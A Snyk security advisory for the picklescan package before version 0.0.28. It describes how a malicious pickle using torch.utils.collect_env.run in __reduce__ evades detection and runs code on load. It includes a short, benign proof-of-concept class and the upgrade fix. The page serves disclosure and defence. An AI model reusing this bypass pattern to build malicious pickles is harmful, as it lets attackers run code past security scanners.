Remote Code Execution (RCE) Affecting picklescan package, versions [,0.0.28)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-PICKLESCAN-12177790
  • published24 Aug 2025
  • disclosed22 Aug 2025
  • creditFredericDT

Introduced: 22 Aug 2025

New CVE NOT AVAILABLE CWE-94  (opens in a new tab)

How to fix?

Upgrade picklescan to version 0.0.28 or higher.

Overview

picklescan is a Security scanner detecting Python Pickle files performing suspicious actions

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to the use of torch.utils.collect_env.run in the reduce method. An attacker can execute arbitrary code by crafting a malicious pickle file that leverages this function to bypass detection and trigger code execution upon loading.

PoC

import torch.utils.collect_env as collect_env

class EvilTorchUtilsCollectEnvRun:
    def __reduce__(self):
        command = 'touch /tmp/collect_env_run_success'
        return collect_env.run, (command,)

CVSS Base Scores

version 4.0
version 3.1